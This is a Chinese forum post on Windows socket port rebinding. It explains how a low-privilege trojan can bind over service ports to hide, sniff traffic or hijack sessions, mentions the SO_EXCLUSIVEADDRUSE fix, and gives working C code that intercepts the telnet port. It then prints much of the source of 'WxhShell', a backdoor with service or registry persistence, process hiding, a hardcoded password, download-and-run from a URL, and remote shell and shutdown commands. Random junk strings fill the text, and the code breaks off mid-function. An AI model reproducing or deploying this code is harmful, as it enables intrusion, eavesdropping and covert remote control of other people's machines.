社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10975阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ncv7t|ZN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]q{ PDZ   
St@l]u9  
  saddr.sin_family = AF_INET; e}A&V+  
<I; 5wv  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =SAV|  
dpwD8Q< U  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !@G)$g=<  
Cq>6rn  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 < f(?T`  
z{:-!oF&CB  
  这意味着什么?意味着可以进行如下的攻击: 1dFa@<5  
e+'%!w"B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MIq"Wy|Zs  
B0d%c&N${  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) G @g h#[b  
<},1Ncl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 brh=NAzt  
-v+&pG?m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B5ea(j  
fW?sYC'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;QBh;jg4  
j!\dn!Xwt  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5 L/x-i  
DG(%-w8p"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2j&v;dmh<  
X\Y}oa."A  
  #include i|]7(z#OyI  
  #include a+`D'?z  
  #include  PWH^=K  
  #include    3JO]f5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~6`iY@)  
  int main() *5k+t  
  { FJeiY#us  
  WORD wVersionRequested; 2Il8f  
  DWORD ret; PU1,DU  
  WSADATA wsaData; h[kU<mU"T  
  BOOL val; _X4!xbP  
  SOCKADDR_IN saddr; {$d<1y^  
  SOCKADDR_IN scaddr; y6-XHeU  
  int err; X32C}4-B  
  SOCKET s; +r]zs^'  
  SOCKET sc; {tw+#}T a  
  int caddsize; |7"$w%2  
  HANDLE mt; u%3i0BajY  
  DWORD tid;   `&!k!FZY*  
  wVersionRequested = MAKEWORD( 2, 2 ); T%$jWndI  
  err = WSAStartup( wVersionRequested, &wsaData ); ]kD"&&HV  
  if ( err != 0 ) { jV O{$j  
  printf("error!WSAStartup failed!\n"); $A2n{  
  return -1; &<3&'*ueW  
  } _ \D"E>oM  
  saddr.sin_family = AF_INET; `!vUsM.d  
   :@eHX&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ST1'\Eo  
s$w;q\1z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IXpc,l `  
  saddr.sin_port = htons(23); F]EBD8/b  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eF~dQ4RZ  
  { xwi\  
  printf("error!socket failed!\n"); +lE90y  
  return -1; *$,:m  
  } /@"Y^  
  val = TRUE; :"Y*<=x#2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I|9 SiZ0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7B7&9<gc  
  { w(9*7pp  
  printf("error!setsockopt failed!\n"); w_hHfZ9E  
  return -1; ALc`t(..}A  
  } &c>?~-!W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; / 3!fA=+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tyh@ ^7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]fBUT6  
:Y P#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d\]Yk]r  
  { M}O}:1Par  
  ret=GetLastError(); EON:B>2a  
  printf("error!bind failed!\n"); k&/OU:7Y  
  return -1; .uF[C{RnO  
  } nXy>7H[0  
  listen(s,2); Q>Qibr  
  while(1) "4o=,$E=  
  { ea'&xs#GK  
  caddsize = sizeof(scaddr); H[ m <RaG8  
  //接受连接请求 M|,mr~rRG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `=UWqb(K_  
  if(sc!=INVALID_SOCKET) @-HG`c ct  
  { pav'1d%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mN |r)4{`  
  if(mt==NULL) :Dt~e|  
  { up>c$jJ  
  printf("Thread Creat Failed!\n");  asHxL!  
  break; 30>3 !Xqa  
  } *`_{  
  } r [:   
  CloseHandle(mt); IQZ#-)[T"  
  } CVNj- &vj  
  closesocket(s); lf(`SYQnOY  
  WSACleanup(); !-<p,z  
  return 0; _ :Ag?2  
  }   ?W>qUrZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) qpIC{'A.  
  { TaE~s  
  SOCKET ss = (SOCKET)lpParam; iOAbaPN  
  SOCKET sc; F$BbYf2i  
  unsigned char buf[4096]; V#REjsf,t-  
  SOCKADDR_IN saddr; '2^7-3_1  
  long num; d.UQW yLG  
  DWORD val; VTy9_~q  
  DWORD ret; Xpe)PXb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %D$]VSP;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0:w"M<80  
  saddr.sin_family = AF_INET; eET&pP3Rp  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); AIMSX]m  
  saddr.sin_port = htons(23); R^?/' dr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ar*^ ;/  
  { |L2SFB?d=  
  printf("error!socket failed!\n"); ?;[w" `"  
  return -1; wLc4Dm*V  
  } 1 zw*/dp  
  val = 100; *(C(tPhC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HK`I\,K  
  { .*m>\>Gsgw  
  ret = GetLastError(); J'$>Gk]  
  return -1; @)o^uU T  
  } fU=B4V4@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8Nu=^[qwQM  
  { /xtq_*I1S  
  ret = GetLastError(); I:K"'R^  
  return -1; PB;eHy  
  } 3k#~yaoI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y;_% W  
  { Pj}6 6.  
  printf("error!socket connect failed!\n"); VD_$$Gn*q  
  closesocket(sc); -py@DzK  
  closesocket(ss); zR2B- &]H  
  return -1; Tg!m`9s+  
  } ~e6Brq  
  while(1) 1UPC e  
  { 4R18A=X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ym3\pRFiD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 94B\5I}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hzkcP  
  num = recv(ss,buf,4096,0); UQ{L{H   
  if(num>0) Z&;uh_EC  
  send(sc,buf,num,0); vZ.x{"n'~  
  else if(num==0) [Xb@Wh:yG  
  break; ``wSc0\  
  num = recv(sc,buf,4096,0); 0u\GO;  
  if(num>0) y;s`P .  
  send(ss,buf,num,0); ~\J}Kqg  
  else if(num==0) tH-C8Qxy  
  break; dqN5]Sb2B  
  } ]]zPq<b2  
  closesocket(ss); z^T`x_mF  
  closesocket(sc); IiG6<|d8H  
  return 0 ; oYukLr  
  } [VE8V-  
/`mks1:pK  
@`gk|W3  
========================================================== h5(4*$%  
Hy^N!rBxfO  
下边附上一个代码,,WXhSHELL zux{S; :?  
iyg*Xbmi~.  
========================================================== 4O35 "1  
=3L;Z[^9  
#include "stdafx.h" x QIq^/F0  
@)fd}tV  
#include <stdio.h> 2 B  
#include <string.h> p6;OL@ \~  
#include <windows.h> 2nR[Xh?L  
#include <winsock2.h> :Of^xj>A  
#include <winsvc.h> ZzSz%z_sE  
#include <urlmon.h> 8uWa=C)  
97}OL`y  
#pragma comment (lib, "Ws2_32.lib") "'t0h{W r8  
#pragma comment (lib, "urlmon.lib") oz,e/v8~  
s,]z[qB#$  
#define MAX_USER   100 // 最大客户端连接数 zx)z/1  
#define BUF_SOCK   200 // sock buffer Y\No4w ^|d  
#define KEY_BUFF   255 // 输入 buffer , GP?amh  
k7T`bYv  
#define REBOOT     0   // 重启 neLAEHV  
#define SHUTDOWN   1   // 关机 "thdPZ  
Eea*s'  
#define DEF_PORT   5000 // 监听端口 4rLL[??  
_no*k?o *  
#define REG_LEN     16   // 注册表键长度 ?vbvBu{a  
#define SVC_LEN     80   // NT服务名长度 ?!` /m|"  
0@%v1Oja  
// 从dll定义API V6@o]*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eS~LF.^Jw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TA4!$7b$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E>D_V@,/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E&[{4Ml  
%-1O.Q|f  
// wxhshell配置信息 Y2~nBb  
struct WSCFG { .oeX"6K  
  int ws_port;         // 监听端口 =Jyu4j *}  
  char ws_passstr[REG_LEN]; // 口令 iMDM1}b  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~kEI4}O  
  char ws_regname[REG_LEN]; // 注册表键名 }khV'6"'|  
  char ws_svcname[REG_LEN]; // 服务名 ~ v|>xqWV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `u&Rsz&^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xD~5UER  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DK: o]~n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J^Wa8Q;9lX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [J?aD`{#O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F^];U+J  
kY-N>E:  
}; Z/Dx,zIR  
W *),y:  
// default Wxhshell configuration <^5Z:n!q  
struct WSCFG wscfg={DEF_PORT, t*1fLumXR  
    "xuhuanlingzhe", klT@cO-9  
    1, HMh"}I2n  
    "Wxhshell", l*d(;AR  
    "Wxhshell", T?ZRiR)@  
            "WxhShell Service", n'E(y)9|  
    "Wrsky Windows CmdShell Service", f Sa"%8%  
    "Please Input Your Password: ", 1SCR.@ k<  
  1, /rnu<Q#iH  
  "http://www.wrsky.com/wxhshell.exe", f'EuY17w  
  "Wxhshell.exe" 0dE@c./R i  
    }; VJ]JjB j  
Z8K?  
// 消息定义模块 42$VhdG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -"' j7t:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "&G/T ?4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ku5\]  
char *msg_ws_ext="\n\rExit."; ,9zjFI  
char *msg_ws_end="\n\rQuit."; #P0&ewy  
char *msg_ws_boot="\n\rReboot..."; Whm,F^  
char *msg_ws_poff="\n\rShutdown..."; M_/7D|xl/T  
char *msg_ws_down="\n\rSave to "; QI'Oz{vE  
"K6&dk jY  
char *msg_ws_err="\n\rErr!"; iT gt}]L  
char *msg_ws_ok="\n\rOK!"; OR~8sU  
P3+5?.p.  
char ExeFile[MAX_PATH]; 4%>$-($  
int nUser = 0; \ `~Ly-  
HANDLE handles[MAX_USER]; }v}P .P  
int OsIsNt; >UiYL}'br6  
Vc\MV0lr  
SERVICE_STATUS       serviceStatus; rWa2pO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !Qu"BF   
a|t$l=|DD  
// 函数声明 '"0'Oua  
int Install(void); 1 ySk;;3  
int Uninstall(void); r!_-"~`7E  
int DownloadFile(char *sURL, SOCKET wsh); `ZYoA t]C~  
int Boot(int flag); 7)`nD<j 5  
void HideProc(void); RO+GK`J  
int GetOsVer(void); nP$Ky1y G  
int Wxhshell(SOCKET wsl); |"ls\ 7  
void TalkWithClient(void *cs); Yvw(t j5_5  
int CmdShell(SOCKET sock); %Nlt H/I  
int StartFromService(void); M?Y;a5{  
int StartWxhshell(LPSTR lpCmdLine); n' n/Tu   
;K:zmH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xpV|\2C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4&<oFW\r  
pjKWtY@=X  
// 数据结构和表定义 `VA"vwz  
SERVICE_TABLE_ENTRY DispatchTable[] = wh$sn:J  
{ iVhJ t#_b  
{wscfg.ws_svcname, NTServiceMain}, ?+@n3]`0  
{NULL, NULL} Lb:g4A"  
}; ]!?;@$wx  
e^6)Zz1\  
// 自我安装 9-&Ttbb4)0  
int Install(void) sJL&:!}V>  
{ ^a0um/+M}  
  char svExeFile[MAX_PATH]; EN<F# Y3E  
  HKEY key; JVvs-bK5  
  strcpy(svExeFile,ExeFile); Ns>- o  
+~m46eI  
// 如果是win9x系统,修改注册表设为自启动 Xix L  R  
if(!OsIsNt) { BKCA <  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I0D(F i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  eI$oLl@  
  RegCloseKey(key); 3`t#UY).F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hq'`8f8N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hZ?Rof  
  RegCloseKey(key); W <9T0sZ  
  return 0; !JHL\M>A5  
    } Ra)3+M!x  
  } Y2N>HK0  
} ?PuBa`zDE  
else { '}ptj@,  
] {RDVA=]  
// 如果是NT以上系统,安装为系统服务 ;w{tv($$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !"?#6-,Xn  
if (schSCManager!=0) '.IW.{;$  
{ 0fb2;&pUa  
  SC_HANDLE schService = CreateService s Ep"D+f  
  ( b[r8 e  
  schSCManager, jl4rbzse  
  wscfg.ws_svcname, K -nF lPm\  
  wscfg.ws_svcdisp, ~ (|5/ p7t  
  SERVICE_ALL_ACCESS, 9vuyv*-}e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g/ T   
  SERVICE_AUTO_START, | k&Ck  
  SERVICE_ERROR_NORMAL, [L3=x;U  
  svExeFile, -u6bAQ  
  NULL, \ :%(q/v"X  
  NULL, T,,WoPU8t  
  NULL, Sq>dt[7  
  NULL, DrKP%BnS  
  NULL "%`1 ]Fr  
  ); dU&a{ $ku[  
  if (schService!=0) K[I=6  
  { d~9A+m3b_  
  CloseServiceHandle(schService); zGb|)A~,  
  CloseServiceHandle(schSCManager); F+YZE[h%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f',Op1o  
  strcat(svExeFile,wscfg.ws_svcname); Zi*2nv '  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kvL=> A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Nyku4r0  
  RegCloseKey(key); (yH'{6g\  
  return 0; [^WC lRF  
    } $SlIr<'*"  
  } %f&/E"M  
  CloseServiceHandle(schSCManager); Z^bQ^zk-  
} ,;EIh}  
}  :|>h7v  
nHM~  
return 1; :(/~:^!  
} VQc_|z_ s  
b.2aHu( 3  
// 自我卸载 &PR5q 7  
int Uninstall(void) rN<0 R`4sE  
{ R3 -n>V5o  
  HKEY key; k KaE=H-x  
Vh'P&W?[  
if(!OsIsNt) { -$pzl,^ h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C8J[Up  
  RegDeleteValue(key,wscfg.ws_regname); :i0uPh\0  
  RegCloseKey(key); $njUXSQ;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S3q&rqarC%  
  RegDeleteValue(key,wscfg.ws_regname); XQY#716)  
  RegCloseKey(key); 8r*E-akuyr  
  return 0; W>${zVu  
  } %^?fMeI|Y  
} ui< N[  
} |UkR'Ma  
else { Gt\lFQ  
a!zz6/q[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D#_3^Kiawj  
if (schSCManager!=0) .<->C?#  
{ 4X!/hI=jq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2Z+Wu3#  
  if (schService!=0) xs{3pkTYD  
  { ]N~2 .h  
  if(DeleteService(schService)!=0) { =mO vs  
  CloseServiceHandle(schService); GA$V0YQX  
  CloseServiceHandle(schSCManager); .T}Wdn g  
  return 0; 4V{:uuI;f  
  } (of#(I[m7  
  CloseServiceHandle(schService); 1auIR/=-  
  } )MtF23k)g  
  CloseServiceHandle(schSCManager); QJZK|*  
} qLO4#CKCL6  
} +jAGGv^)  
fW{(lPx  
return 1; oI?3<M^  
} S(k3 `;K  
^%d\qd`   
// 从指定url下载文件 YX!{P=Ua  
int DownloadFile(char *sURL, SOCKET wsh) n7zm>&  
{ R"-mKT}  
  HRESULT hr; %41m~Wh2  
char seps[]= "/"; Mer/G2#&  
char *token; ^ sOQi6pL  
char *file; =J18eH!]  
char myURL[MAX_PATH]; {JO^ tI  
char myFILE[MAX_PATH]; q;B4WL}  
h\$$JeSV]  
strcpy(myURL,sURL); #Vnkvvv  
  token=strtok(myURL,seps); kDEXN  
  while(token!=NULL) x,'(5*  
  { &u]8IEv}u  
    file=token; U&g@.,Y#  
  token=strtok(NULL,seps); $POu\TO  
  } )cW#Rwu_A4  
gt\E`HB8E  
GetCurrentDirectory(MAX_PATH,myFILE); 3$9s\<j  
strcat(myFILE, "\\"); O\ GEay2  
strcat(myFILE, file); l3{-z4mw  
  send(wsh,myFILE,strlen(myFILE),0); ?U%qPv:  
send(wsh,"...",3,0); KWq+PeB5TS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B?OFe'*  
  if(hr==S_OK) o8 IL $:  
return 0; WO7z  
else 8^kGS-+^  
return 1; /}((l%UE.  
u0}vWkn\4  
} L 8c0lx}Nn  
kGH}[w  
// 系统电源模块 1NbG>E#Ol  
int Boot(int flag) R6 y#S&]x  
{ ^+*N%yr  
  HANDLE hToken; ADz ^\  
  TOKEN_PRIVILEGES tkp; d8DV[{^  
t*=CZE-  
  if(OsIsNt) { EH- sZAv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w_aknt T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  03L]  
    tkp.PrivilegeCount = 1; %p Ynnfr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SUMrFd~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o5u3Fjz3  
if(flag==REBOOT) { ,dv+p&Tz2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4`lLf  
  return 0; [xbSYu,&  
} {yBs7[Wn  
else { 1m'k|Ka  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,[N%Q#  
  return 0; "x#-sZ=  
} +UCG0D  
  } mbKZJ{|4s  
  else { ^8]NxV@l  
if(flag==REBOOT) { )~& CvJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aKJwofD  
  return 0; L{#IT.  
} %gInje  
else { t DO=P c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <h!_>:2L  
  return 0; =R^%(Py  
} O24m;oHM  
} 99]R$eT8  
L s G\OG  
return 1; kAKK bmE  
} d .[8c=$  
-fM1nH&  
// win9x进程隐藏模块 b\ X@gq  
void HideProc(void) ~]nRV *^  
{ @tF\p  
\|n- O=}=2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gGR"Z]DBk  
  if ( hKernel != NULL ) *~2,/D  
  { OP;v bZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _Mi5g_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j9m_jv  
    FreeLibrary(hKernel); q'+)t7!  
  } 7( #:GD  
ay4 %  
return; \Yy$MLs  
} [Hx0`Nc K  
tCw<Ip  
// 获取操作系统版本 %3s1z<;R[S  
int GetOsVer(void) *}Xf!"I#]N  
{ :Oy%a'w   
  OSVERSIONINFO winfo; f<-Jg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pLl(iNf]  
  GetVersionEx(&winfo); Eu0akqZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) We)xB  
  return 1; oph}5Krd)  
  else PG2:~$L0  
  return 0; (|F*vP'  
} '"`IC\N^  
R1Pk TZP&  
// 客户端句柄模块 )tG\vk=@  
int Wxhshell(SOCKET wsl) Upx G@b  
{ O],T,Z?z  
  SOCKET wsh; LhN|1f:9:  
  struct sockaddr_in client; bUs0 M0y  
  DWORD myID; %J#YM'g  
G3C~x.(f  
  while(nUser<MAX_USER) "RedK '7g  
{ /9 3M*b  
  int nSize=sizeof(client); p$O.> [  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3N 8t`N  
  if(wsh==INVALID_SOCKET) return 1; zh%#Y_[R  
PoNi "Pv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <<UB ^v m  
if(handles[nUser]==0) 6 o^,@~:R  
  closesocket(wsh); `34zkPB??  
else j 'FVz&  
  nUser++; 4"GR] X  
  } W,D4.w$@'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ig$(3p  
?llXd4  
  return 0; yZAS#ko}}  
} y+Ra4G#/}  
Y y5h"r  
// 关闭 socket }~2LW" 1'  
void CloseIt(SOCKET wsh) K)6rY(x >  
{ :X"?kK0V  
closesocket(wsh); v0ujdp,B  
nUser--;  vx\r!]  
ExitThread(0); ih)zG  
} xg30x C[  
Gw=B:kGk  
// 客户端请求句柄 zy?.u.4L  
void TalkWithClient(void *cs) -N6f1>}pE  
{ ; a/X<  
%) /s;Q,  
  SOCKET wsh=(SOCKET)cs; `CBZhI%%  
  char pwd[SVC_LEN]; ><RpEnWZ<  
  char cmd[KEY_BUFF]; G, 44va  
char chr[1]; p5Z"|\  
int i,j; ~3^ 8>d/  
YD <:,|H   
  while (nUser < MAX_USER) { Mo y <@+  
svsqg{9z  
if(wscfg.ws_passstr) { ,NOsFO-`<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >q#rw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #TeG-sFJg@  
  //ZeroMemory(pwd,KEY_BUFF); ]"r&]qx7  
      i=0; 4hO!\5-w:  
  while(i<SVC_LEN) { V08?-Iz$  
gK_Ymq5>"M  
  // 设置超时 ,%6P0#-  
  fd_set FdRead; C7XxFh  
  struct timeval TimeOut; oxC[F*mD  
  FD_ZERO(&FdRead); \4&fxe  
  FD_SET(wsh,&FdRead); u&^b~# T  
  TimeOut.tv_sec=8; UG'Q]S#!  
  TimeOut.tv_usec=0; QaS1Dh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \?w2a$?6w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !6n_}I-W  
l#m#c6;=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vV6<^ W:9F  
  pwd=chr[0]; Sw:7pByjI  
  if(chr[0]==0xd || chr[0]==0xa) { &[_g6OL  
  pwd=0; H[{F'c[e  
  break; E8!e:l =Q  
  } d.3E[AJa(  
  i++; eS{!)j_^  
    } B%" d~5Y  
$}RJ,%~'x  
  // 如果是非法用户,关闭 socket bG7O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O80<Z#%j`  
} @>u]4Jn  
\@WDV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &?W0mW(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |)nZ^Cc  
_?<|{O  
while(1) { 7zA'ri3w  
8R2QZXJb-  
  ZeroMemory(cmd,KEY_BUFF); Jy^u?  
>5_2_Y$"  
      // 自动支持客户端 telnet标准   "/)#O~  
  j=0; uYn_? G  
  while(j<KEY_BUFF) { zxJ]" N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wi;Br[d  
  cmd[j]=chr[0]; 6{x(.=  
  if(chr[0]==0xa || chr[0]==0xd) { V E#Wb7  
  cmd[j]=0; fg s!v7  
  break; f) znTJL  
  } N|1M1EBOu>  
  j++; QU4h8}$  
    } QXL'^uO  
h xSKG  
  // 下载文件 :S.9eFfa  
  if(strstr(cmd,"http://")) { (XeE2l2M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %Da8{%{`Pc  
  if(DownloadFile(cmd,wsh)) 6tB+JF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E;,u2[3  
  else $g/SWq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .}&` TU  
  } 0Z~p%C<LW  
  else { Z?}dq-Vh&  
'w!Cn>  
    switch(cmd[0]) { 8?J&`e/  
  ZU85P0  
  // 帮助 V}bjK8$$  
  case '?': { 4y)P>c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); | 1E|hh@k  
    break; |s'Po^Sy  
  } &atuK*W>  
  // 安装 _  <WJ7  
  case 'i': { 2#P* ,  
    if(Install()) 3wOZ4<B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M*!agh  
    else z,Medw6[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Gk ILFN  
    break; ? K ;dp  
    } sA/pVU  
  // 卸载 %oq{L]C(rf  
  case 'r': { +Fuqch jq  
    if(Uninstall()) M%Ji0v38  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G]D+Sl4<7i  
    else [f)cL6AeF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \!>3SKs(e  
    break; Q(lo{AFc  
    } $8;R[SU6Y  
  // 显示 wxhshell 所在路径 ~T9/#-e>BF  
  case 'p': { *;1,5L  
    char svExeFile[MAX_PATH]; ozAS[B6  
    strcpy(svExeFile,"\n\r"); '{E@*T /<.  
      strcat(svExeFile,ExeFile); 8WtsKOno  
        send(wsh,svExeFile,strlen(svExeFile),0); %JXE5l+pJ  
    break; W=vG$  
    } 6`O.!|)  
  // 重启 hakKs.U|[  
  case 'b': { mk1bcK9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DSC$i|  
    if(Boot(REBOOT)) : e]a$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qc gRAo+u  
    else { *i]=f6G  
